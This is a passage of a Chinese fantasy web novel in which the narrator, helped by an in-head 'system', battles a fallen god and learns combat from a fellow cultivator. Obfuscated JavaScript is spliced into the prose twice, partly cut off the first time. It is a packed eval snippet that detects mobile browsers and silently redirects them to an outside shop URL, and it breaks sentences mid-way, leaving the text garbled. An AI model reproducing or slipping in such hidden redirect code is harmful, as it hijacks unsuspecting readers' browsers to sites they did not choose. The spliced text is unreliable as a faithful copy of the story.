如果这点小事都做不到,拿什么来救我家小姐。拿什么来说服我的大反派娘。 我一定能多少撑到救援来到。我相信云间月不会放着这边的事不管。 她一定会回来。 所以我不会让白昳身上的恶念蔓延开来,造成五界生灵涂炭。 它察觉到我了!几乎就在我把结界张开下一秒【宿主,躲!】不可名状的力操纵我,我以千万分之一偏差从柱子上跳开,金光把引雷旗劈个粉碎,第十城城主府,真抱歉…… 我任由系统操控我的身体,脑中飞速运转,一层结界……还不行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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它……快,谁来把那个不是金色的东西打下来! 修士们,学徒们……都在。在地面上徒劳攻击。看不穿要点,如何攻击?! 我可以找个人传音过去,找个能量多射程远的…… 程追原!他也在这? 跟着云间月来的。想也知道。 他能量非常多。 瞬间,我已经传音过去。 程追原一惊,他没听出是我,他本来就没听我说过几句,我现在声嘶力竭,他还以为我是哪个和修士并肩作战的大能,对我回复: “把那个东西打下来就行了吧!” 他片刻没耽搁,在确认后,立刻汇聚全力向天空发射一道光束出去,这次的光是明亮发红的金色, 我知道他不准,分神给他辅助准头。 凝聚的思绪伴随一道光。 一束,天地仿佛静止。那道光洞穿太阳,开出灿烂火花。 我才看清,那哪里是什么金色太阳。那分明是……一颗茧! 茧破了。 金色从里面迸溅,一时间天火如流星,天空四面八方是坠落的火焰。 一个……人。 人形的东西,站在那。就在空中。 它有一头瀑布般的金色长发,那些金色风中飘摇,凝结成一个圆盘,每根头发丝都在发散金光,把它托举起来,成为它背后自带的打光,那样神圣。 人形闭着眼睛。那就是,神。 如果它醒来,一定,一定会发生相当不得了的事! 趁它还在睡觉,我要接近它! 我要从它身上切断它与恶念的连接,把恶念转到我身上!然后找到一个人界和鬼界之间的破洞,把恶念传到万鬼哀嚎窟去! 艾宁宁怎么还在这?! 树影斑驳的光掠过我眼睛。我冲向她。 “啊啊啊———呜。”我吓到她了。让她强行闭嘴。 我接下来将要直面被称作神的存在。怕不怕? 有点吧。但艾宁宁怎么在这?! 我气势汹汹质问:“你在这做什么!” “噫呜呜!”她吓得发出怪叫,以为我是什么怪物,定睛一看发现我们认识。 “是你啊,‘姐姐’。” 26.其二·外来者们 我盯着她。 她……现在给我感觉很奇怪。不,不是她,是她身上,有奇怪的感觉。我现在十分敏锐。就像苍蝇对气味那么敏锐。 艾宁宁笑嘻嘻对我,她按下了,一个东西。 然后把东西丢掉,两只手背到身后,笑眯眯:“现在呢?” 轰!!!! 一道攻击落在四周,我抓着艾宁宁起跳,她竟然没有出声尖叫,我条件反射看天上那个人形。 人形。睁开了眼。 它——不,是她。她就是白昳。 漩涡不见了。白昳手中,挥舞一把用恶念凝结而成的长枪。 这会有数不清的修士在下方和空中与她对打,但她的仇恨仍然在我身上。 艾宁宁这时才发现:“你怎么让她这么恨你!???”她不可置信尖叫。 “你做了什么。”我平静问她,同时准备好面对下一波攻击。 艾宁宁眼珠转了转。 “没做什么。”她说。 “你……”我不断纠正词汇,最终确认:“你……唤醒了她。” 艾宁宁,她们——是些奇怪的人。 “是又如何,你阻止不了。”艾宁宁事不关己一样,无所谓地说。 “……不行。如果她死掉,”我赫然停住。 对,我不能说。 世界,在看我。 世界在看每个人。 “在你眼中,她是什么?”我换个方式问。 “唔嗯……你真的要在这时候和我讨论这个问题的话。”艾宁宁一副悠哉游哉模样,“她是伪神,是造成世界提前毁灭数万年的天灾。一旦活下来,她会吸取许多能量,导致世界提前衰竭而死。” “……你知道你在做什么吗?她是真的神。时间——”“时间会倒流?”艾宁宁对我一通抢白,“怎么可能,神从未降临。从来,从来不会。如果她是,我也没必要杀死她。我可不想遭天打雷劈。” “那你就在这里,看我和她对战。你什么都不要做,不能再捣鬼。直到我向你证明,”脑海中,系统,回来了,“她是。” “好啊。我就在这。”艾宁宁甚至悠哉地坐下,抱着膝盖看我。 我转身离开,隐匿身形,踩着我的武器飞向战场。 脑海中是系统有些奇怪地说话声。 【……刚被震晕啦。嘿嘿。程序错乱,错乱中,暂时——好了,宿主。你的统在这里。】 说到最后,它从活泼变得半死不活。 「你还好吗?能工作的话,我们现在有得忙。」 【是呢……放心啦,宿主。系统没有心,不会疲惫,更不会疼痛。但就算是系统,经历这种阵仗时也不多。系统和神,真正的神,很少对上。科技与魔法水火不相容。我们从存在意义上否定神,从能量上肯定它们。因为……神不符合我思故我在这些理论。它们就只是,某个存在,所以系统的程序中没有植入‘因面对神而害怕’这种概念。】 那好。 现在,我与白昳对视。 我不知道我看见什么。她的眼睛,是漩涡。 恶意,干扰,许许多多负面情绪。我不知道。不知道她如何能在这种状态下存在。如果是我,这时候的我一定会毁灭世界。 天空中修士越来越多,我看她们围绕在人形四周, ……没用的。 只有掠夺。掠夺她才可以。用坚定觉悟,舍弃一切的信念,坚信自己就是足以与那个存在匹敌的‘另一个神’。 否则,世界就会察觉,不合逻辑之处,你,一个普普通通的‘人’,凭何敢以人身对抗天意?! 这就是不合逻辑的事。在那之前它就会出手。劈到你死为止。 我静静伫立,看修士们牵制人形。 人形挥舞着她的长枪武器,长枪携带能量光束,转着圈,在空中化作一道燃烧的巨轮,整片天空被熊熊火光笼罩,宛若末世景象。 哈。 要是以前,梦里看见这种东西,我会吓醒。 现实中,恐怕要尿裤子。 白昳是水属性,长枪上那不是什么火焰,是纯粹的能量,云间月一定让许多水体上冻,白昳使不出水法术,于是开始直接消耗能量攻击。 我观察一小会,轻轻,挪动一步。 来不及细数偏差,就在我心念微动这个瞬间,我附近这片树林灰飞烟灭。 来自白昳的攻击,跨越空间,差点击中我。 人形还在天上。 艾宁宁没事,好像也不怎么怕被攻击余波扫到。 我稍微安心,换个地方再战, 直到此刻,迟缓的思维,才追上我的动作。 什么?神的攻击竟然——会闪现?!!! 这对吗。这个世界,难不成真的有空间法术? 传召是传召,借由双向契约把被传召者拉至目的地,但是空间法术——至少理论上是单向传送,它并不能称作一个传召契约,不行,褚灵佑,你要快想,看起来是空间法术的东西,本质上,是什么!? 我开启能量模式。 世间万物,以颜色呈现。 白昳周围,整个空间,遍布无数细细密密的发光契约符号。 就像……像我在天雷落下时看见的,一样! 正是这些契约,让她模拟出空间法术效果。 射击游戏,是吧? 我有没有说过我很擅长骑射? 白布在我手中拉开,它是我的弓,箭……用灵石好了。 灵石的确是很好的箭,我发射出去灵石就像扬起一把沙,每次风沙吹过,白昳四周的契约就少一些。 她察觉了! 她会打散我的攻击! 不行……速度,跟不上!那么多人都在和我并肩作战, 「系统,你怕和神接触么?」 【统可没有怕这种情绪哦,宿主。是不是需要我操控身体辅助?】 「不,那样会消耗太多能量。你不怕靠近那就借着这些思绪网络摸到白昳身边去,试着干扰她,让她没办法打中我的攻击。」 【好,不起作用统立刻回来。】 系统窜出去了。 它是真不怕空中像灭世怪物一样的堕神。 嗖!!! 我跳上另一处树木高点,刚刚站立的地方直冒青烟。 白昳……看见我了。她,从刚刚的下意识攻击—— 她看见我了。她不需要做出攻击动作,仅仅是一个念头,我的存在就会被抹杀。 下一步,我看见很多没有形态的能量追踪我刺来。我看见无数个我。 死去。 这是我借来的力量。它并非预知能力。只是系统留给我的自动程序,辅助我战斗,即便如此,打得非常艰难。现在的我拥有数万年修为,在下方战场还有数不尽的修士为我分担攻击。 这就是,差距。 以人之身,对抗神者。 愚不可及。 我用所有我能做出的最狼狈姿态闪躲攻击。 这些攻击是回旋镖,自动锁定,我站在哪,回旋镖摧毁哪。 我同时维持两道结界,一道让她无法施展大规模杀伤力法术,一道……包裹她的恶念。不让恶念干扰攻击她的修士们。不然,所有人都会变成见人就攻击的疯子。 燃烧的巨轮落下能量火焰,落在地面……变成一道道滚烫的岩浆河,发现情况不对,在街巷中的修士已经自发为百姓撑起结界,还不太会使用结界法术的学徒们几人合力维持一个结界,也能守住一小块地方。 在落脚的客栈附近,我看见四周百姓被指引着向客栈移动避难。 那是…… 是我家小姐。 她起来了啊。 会清露也起来了,还有慕柚桃。 大美人……不见人影。应该是在房间里。希望她不要被天幕吓到。 可能也吓不到她。她都已经傻了。 【宿主……】系统委屈巴巴回来。 「没关系。」不是多难预料的结果,打不过堕神不怪系统。 我们继续狼狈抱头鼠窜。 “看见你了!”一道声音自耳畔响起。 ……荷乘蕴?她怎么在这! “方圆百里就这最亮,我不过来……行吧我承认我确实有在跟着你,门派突然有事调我回去,说魔界那边有动静,不管了,我处理完想找找你在哪,就看见这里最亮!” “……你怎么找到我在这的?”我对自己施了不引人注目的法术,还藏在角落,面对白昳的攻击抱头鼠窜,她怎么这么巧注意到我? “因为我们交合过啊!彼此能量相融,有感知。难不成你以为两个女子不能双修?怎么可能,五界除了人界,同性皆可有后代!人类女子做不到也绝对不是因为身体原因,是律法禁锢了她们!” 这我无法反驳。我只是听说在人界之外女性可以不必生育,人族女子死于生产时种种状况,人数多到超乎想象,每个孩子都是母亲拼尽性命带到世界上,母亲要生育,还要养育,人族律法规定,女子年过二十未婚,每年都要上交大笔罚款,就是……如今最得人皇宠爱的十皇女,年过二十也在交罚款,何况普通人家。 荷乘蕴冲到我面前,她的水蓝色衣裳吹散飞向我的火焰攻击,她看着狼狈的我,直说:“这样不行,一看就是战斗经验不足。” “那你很足?”我好歹和系统模拟出来的对战练习过,如果没有练习,现在已经被打得爬不起来。 “肯定比你足。七千年可不是白活,熬死了我所有半吊子修仙的亲族,现在就剩几个普通人还活着。小时候她们把我一个人扔在人生地不熟的孤城,战火乱世迫不得已我才去修仙,我的老师发掘我,我天资尚可,老师教得好,出名后半点好处没给亲族占去。你看好。” 好似曾相识的故事…… “这本书?”我露出书封面一角。 “就是这本,撰稿人是个小姑娘,修为很高。”荷乘蕴抽出她的刀,“看我,凝聚。把你的思绪凝聚在武器上,想象它是你,你们之间通过看不见的脉络相连,它是你的一部分,你控制流向它的能量强弱,你决定它成为你的防御,还是你的攻击!” 她一下把火焰回旋镖打回空中,回旋镖爆炸开来,引爆后面一连串追踪而来的攻击。 并非仙人的修士在手持武器或法宝情况下不算凌空飞行,哪怕脚下没踩东西。因为有人也会坐在武器上飞行。但……她这也,太准了吧! “……”我怀疑地看向她的刀。 这把刀,真的不是法宝么? 【不是,刀没有能量反应,顶多是雕刻得好看,可能是什么名家手笔。】系统直接为我作答,【你们这个世界的法宝就是能量存储器。应该没有哪个人出门身上叮里咣当带一大堆法宝吧,这种人不是仇家遍地就是疑神疑鬼。自身电量够用,还要带充电宝?多此一举。又不是天天出门光玩手机耗电量,类比就是,难不成每个人出门就光打仗去了,不干正事,不买点东西串个门?那还出什么门,在家玩手机多好,还揣一串充电宝,沉不沉。】 系统说得很有道理。在这个世界,法宝和丹药从来没有十分金贵,修仙更看重自身修行,而不是外物。只有你自身能够容纳的能量是属于你自己的,就算得了好东西,胡乱用搞不好就爆体死了。 我静下心来,认真观察荷乘蕴举动。 她像是一团流动的火焰,也像……水。 是的,她就是有这么专注。 让人无法移开视线。 我用我的眼睛去看。 荷乘蕴……能够完全操纵她能量的形态,攻击时她的能量尖锐而充满爆发力,防御时她又立刻变得稳重如山,你甚至……能在这个过程中感受到她的意志。 她在说,我永不服输。 我明白了。 是我的…… 意志不够坚定。 我不喜欢给自己招揽麻烦事。造成的破坏,伤亡。 都要由我负责。 而荷乘蕴在说。不管发生什么,不管造成什么,只要她打完这场仗还剩下一口气,她都会全盘负责。 她抱着必死的觉悟打每一场仗,抱着负责到底的心态面对每一次战后景象。 她比我成熟得多。 “嗯。我明白了。”我说。 即使荷乘蕴什么都没说,我能感受到,她通过行动传递给我的,无形的力量。 “我就知道你会懂。你走上这条充满掠夺的路,不可能一件恶事都不做。但求问心无愧。求人不如求己。这些是老师教给我的,现在我把它教给你。” 荷乘蕴还有空对我笑。很动人。 “是啊……求人不如求己。”我几乎要忘记我们是在半空中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807896|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,面对的是一击躲闪不过就会毙命的堕神攻击,“你这样是不是已经算出师,你都是门派长老了。你老师……我好像没听你说过名字,你的名字是老师取的吗?” “小时候我没有名字,名字是老师取的,哈,初见时她瘦瘦巴巴,我还以为她也是个乞儿,没想到她蛮厉害……我出师后她飞升神界失败,身体消散去了鬼界,走时留下遗言尘世太无聊,成仙也一个样,不奉陪了,其实是把同门长老甚至掌门骂了个遍,说这群人修仙修魔障了,当时有很多内门学徒在,这番话影响甚广,很多当场大彻大悟退学……门派说,她这样是门派的耻辱,把她从名册中除名,呵……我在她最喜欢的地方给她立了一块碑,扶昭。如果她在肯定要暴怒说不喜欢,谁教她死了。她只有我一个徒儿,我说了算。” 原来,荷乘蕴的老师,去了鬼界。世界规则就是这样,人身飞升失败,做鬼还可以重头再来。除非自己跳冥河,或者再无意志留存于世,我们这个世界,生灵很难死。 扶昭似乎没有回来。我没从这些恶念中看见她。 荷乘蕴嘀咕:“但话说回来,我好像真没见过她来探望我。这几天还是鬼节呢……也没听她家族提起过她回来。扶氏有两脉,一脉在妖界,一脉在人界,人界扶家从前出过神仙,后人从未断过,她有两个侄儿。” “想来是她洒脱,做鬼能了却世间事。”扶昭把荷乘蕴教导到出师,了无牵挂就不回来,天地任逍遥。 “哈哈!也是!她回来我也会怕,如果被她发现我那块碑,她生起气来可可怕了!”荷乘蕴的洒脱传自她老师,她很快不再计较为什么老师从未回来。 我们合力击退许多道攻击,看得出,白昳一直在消耗能量,如今……她发现这样不妥,攻势虽然没完全停下,却慢了许多。她……难不成是在无法思考的时候,身体自己积累经验,然后会主动变招? “就快了!”荷乘蕴指着白昳,“那东西,在打完这波攻击后,会有个间隙,如果你要靠近,趁机试试。我不知道她是什么,但她和魔族有些像,把单个魔族的力量放大几万倍,就像了。” “好。” 我们屏气凝神等待时刻到来。 “……”没有。 “怎么会这样?!”场下局势风云突变,荷乘蕴惊叫出声, 街巷中。原本, 原本维持秩序的学徒们——被操控,变成了傀儡! 白昳的功法。 她,她是练成新功法才下界来的。 会不会和她的功法有关!比如,信奉她的信徒,还有,从她这里接过任务,产生了思绪交集的学徒们,会被操控! 我不由自主把视线落在客栈,我担心小姐…… 果然,她遇到困难。城中没有从白昳处承接委托的学徒很少,被操控后情况逆转可想而知,我,哪怕被发现我也要去帮她! 荷乘蕴察觉我的变向,一把拽住我, “我是不知道你为什么要留在这对付那个东西,但你肯定有你的理由,我去下面帮忙,你留下!”还不等我开口说什么,荷乘蕴对我挥挥手,只有声音在,人已经远去,“她是你的家人吧。我不会吝啬指导她!” 我们。在并肩作战。 所有我认识的人,不认识的人。不知道天上的东西是什么,却都在为了能见到明天而战。 我忽然意识到这点。 【感觉会清露和慕柚桃都默认你会法术,但你家小姐不知道,刚刚担心得不行去敲你屋门,差点发现你不在,还好我机智!摸过去播放你的声音录音,蒙混过关!不用夸统机敏……】系统的声音听起来后面还有话。但它没说。 那就是不重要。这是我知道了会分心的事。我相信它。 「多谢。」我言简意赅。 白昳,她,有新动作。 她放弃长枪进攻,改为抛物线式投掷弹。天火流星。整个天空布满她的金光,绚丽金光拉着长尾巴,根据抛物线蔓延,一时间,无人能近她身。 ……怎么这么难打。 我发愁。破不了她的防御,无法近身……她就像系统发给我的模拟对战中,那些怎么也打不死的对手。 我最近学了很多游戏术语。系统说,给我模拟出来那些对战,放在它的世界叫‘娱乐游戏’。 真……可怕。科技世界的人,原来每天都生活在水深火热中,并且把这当做娱乐。 天火流星……是娱乐。 会有人给我送破甲装这种好事? 抱歉,我是出于对现实的考量,稍微有点得意忘形了。有个瞬间,我真的希望这里是游戏,而我是主角,有人从天而降送给我强力套装。 但我既不是主角这里也不是游戏,它是我的现实。打不赢,我就死。 我不能去祈求。 我只能靠自己。 那就打到我死。 有许许多多人,在这里。我是无数人中的一个,正在为自己的小命奔波。 我不知……打飞了多少道光,不知不觉间……我的攻击,变成了……带有形状的光束,像是青蛙,鸭子,蜜蜂,星星,爱心什么的。 我幽幽:「系统,你给我看太多魔法少女。你看我的攻击下意识就变成这样。你要负责。」 啊,自言自语。这是我唯一能做的消遣了。 系统在帮我辅助分析抛物线攻击方位,天空中有太多道攻击,它无暇回应我。 我与白昳间的距离。 还有一半。 我靠我自己走完了一半的路。 我很怕疼的。小时候,因为我成为小姐的贴身女仆后,这个位置一直不换人,最初娘和我的日子很难过。我被很多女仆为难过,如果不是后来被小姐知道,我连娘都没告诉……不过在那之前我学了武术,把打过我的人打得起不来,遍体鳞伤回去才被小姐发现。本该没有任何人知道这件事。 不知道……云间月怎么样了。她本身有个正体不知道是什么东西的心魔,只会比我更容易被恶念影响, 我确信,在这个世界只有能够看见能量的人才能做到活着靠近白昳。 这些人中,有我,还有……外来者们。 “你在这里做什么?”我慢条斯理,去问一直跟在我身后的艾宁宁。 靠近白昳用光了我几乎全部脑力,不是我说话慢,是我此刻还能说出话来,已经要归功于脑海中的系统。